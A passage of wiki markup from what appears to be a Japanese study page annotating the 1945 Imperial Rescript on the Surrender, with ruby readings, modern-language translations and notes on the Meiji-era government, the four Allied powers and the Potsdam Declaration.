&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、
&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、
&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
#* [[#帝国政府]]
# [[#米英支蘇四國ニ對シ]]
#* [[#米英支蘇四國]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
#* [[#共同宣言ヲ受諾]]

=== 朕&amp;#xE0102;ハ帝國政府ヲシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、帝国&lt;small&gt;（大日本帝国）&lt;/small&gt;政府に命じて、&lt;/p&gt;
==== 帝国政府 ====
*「帝国政府」：[[w:大日本帝国憲法|大日本帝国憲法]]&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A7%E6%97%A5%E6%9C%AC%E5%B8%9D%E5%9B%BD%E6%86%B2%E6%B3%95-91835 大日本帝国憲法(ダイニッポンテイコクケンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;（明治憲法）のもとでの総理大臣を首班とする内閣。
**より具体的には、[[w:鈴木貫太郎内閣|鈴木貫太郎内閣]]&lt;ref&gt;[https://kotobank.jp/word/%E9%88%B4%E6%9C%A8%E8%B2%AB%E5%A4%AA%E9%83%8E%E5%86%85%E9%96%A3-845136 鈴木貫太郎内閣(すずきかんたろうないかく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことを指す。
**明治憲法は「天皇主権」&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A9%E7%9A%87%E4%B8%BB%E6%A8%A9-1566340 天皇主権(てんのうしゅけん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、つまり行政権の主体は「天皇」にあり、「国務大臣」めいめいが天皇を「輔弼」（補佐）して各省を管轄する体制となっていた。憲法には「内閣」や「内閣総理大臣」の規定がなく、「内閣」は天皇の命令で動く国務大臣たちの協議の場に過ぎなかった。
**また、軍隊を指揮監督する最高権限「[[w:統帥権|統帥権]]」&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%B1%E5%B8%A5%E6%A8%A9-103758#w-855138 統帥権(トウスイケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;は主権者である「天皇」にあり、「内閣・政府」は軍隊や戦争に関する決定権を持たなかった。
**「内閣・政府」には憲法上の行政の統括権限がなかったが、実務上は「内閣」が国家の意思決定や諸外国との外交交渉を行う「窓口」であり、実務組織となっていた。
=== 米英支蘇四國ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：アメリカ・イギリス・中国・ソビエトの４か国に対して、&lt;/p&gt;
==== 米英支蘇四國 ====
*「米英支蘇四國」：ポツダム宣言を発した、米（アメリカ）・英（イギリス）・&lt;u&gt;支&lt;/u&gt;那（中華民国）の３か国、および後から名を連ねた&lt;u&gt;蘇&lt;/u&gt;聯（ソビエト連邦）
**詔書の草案の段階では、「&lt;span style=&quot;color:#500;&quot;&gt;米英二国&lt;ruby&gt;&lt;rb&gt;並&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ならび&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ニ重慶政権ソヴィエート聯邦&lt;/span&gt;」「&lt;span style=&quot;color:#500;&quot;&gt;米英重慶ソヴィエート政府&lt;/span&gt;」としているものもあった。
***中国（支那）では、日本は、日本軍の&lt;ruby&gt;&lt;rb&gt;傀儡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かいらい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:汪兆銘政権|&lt;ruby&gt;&lt;rb&gt;汪兆銘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おうちょうめい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;政権]]のみを国家承認しており、戦争中の敵国であり[[w:重慶市|&lt;ruby&gt;&lt;rb&gt;重慶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅうけい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]を首都としていた[[w:蔣介石|&lt;ruby&gt;&lt;rb&gt;蔣介石&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょうかいせき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]&lt;ref&gt;[https://kotobank.jp/word/%E8%92%8B%E4%BB%8B%E7%9F%B3-18318#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 蒋介石(ショウカイセキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が率いる[[w:中華民国 (1912年-1949年)|中華民国]]&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD-97091#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 中華民国(チュウカミンコク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;の[[w:国民政府|国民政府]]&lt;ref&gt;[https://kotobank.jp/word/%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-64266#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 国民政府(コクミンセイフ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-1366638 中華民国国民政府(ちゅうかみんこくこくみんせいふ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことは認めずに「&lt;span style=&quot;color:#500;&quot;&gt;重慶政権&lt;/span&gt;」などと呼んでいた。
=== 其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：その共同宣言&lt;small&gt;（ポツダム宣言）&lt;/small&gt;を受諾するということを通知させた。&lt;/p&gt;
==== 共同宣言ヲ受諾 ====
*「共同宣言ヲ受諾」：当初は「米英支三国宣言」などと呼んでいた、いわゆる「[[w:ポツダム宣言|ポツダム宣言]]」を受諾するということ。

== 第三段落 ==
&lt;!--◆第三段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）抑〻帝國臣民ノ康寧ヲ圖リ萬&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;共榮ノ樂ヲ偕ニスルハ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;範ニシテ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;拳&amp;#xE0101;&lt;/span&gt;々措カサル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;曩ニ米英二國ニ宣戰セル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以モ亦實ニ帝國ノ自存ト東亞ノ安定トヲ&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;幾󠄁&amp;#xE0101;&lt;/span&gt;スルニ出テ他國ノ主權ヲ排シ領土ヲ&lt;span style=&quot;color:#500;&quot;&gt;&lt;!--〓--&gt;侵󠄁&lt;/span&gt;スカ如キハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ志ニアラス然ルニ&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰已ニ四歲ヲ閱シ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ陸&lt;span style=&quot;color:#500;&quot;&gt;海&amp;#xE0100;&lt;/span&gt;將兵ノ&lt;span style=&quot;color:#500;&quot;&gt;勇&amp;#xE0101;&lt;/span&gt;戰&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ百僚有司ノ勵&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ一億衆&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;ノ奉公󠄁各〻最善ヲ盡セルニ拘ラス戰局必スシモ好轉セス世界ノ大勢亦我ニ利アラス加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ&lt;span style=&quot;color:#500;&quot;&gt;使&amp;#xE0101;&lt;/span&gt;用シテ&lt;span style=&quot;color:#500;&quot;&gt;頻&amp;#xE0100;&lt;/span&gt;ニ無辜ヲ&lt;span style=&quot;color:#500;&quot;&gt;殺&amp;#xE0100;&lt;/span&gt;傷シ慘&lt;span style=&quot;color:#500;&quot;&gt;害&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;フ&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;眞ニ測ルヘカラサルニ至ル而モ尙&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰ヲ繼續セムカ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;ニ我カ民族ノ滅亡ヲ招來スルノミナラス&lt;span style=&quot;color:#500;&quot;&gt;延&amp;#xE0102;&lt;/span&gt;テ人&lt;span style=&quot;color:#500;&quot;&gt;類&amp;#xE0100;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;文&amp;#xE0101;&lt;/span&gt;明ヲモ破却スヘシ斯ノ如クムハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;何ヲ以テカ億兆ノ赤子ヲ保シ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;靈ニ謝セムヤ是レ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以ナリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、
{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、
{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、
{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。
{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、
{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、
{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、

&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こころざし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るに&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;已&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;すで&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;歳&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;閲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けみ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;陸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;海&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;勇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;百&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;僚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;有&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;司&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;励&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;衆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;庶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;奉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;公&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;r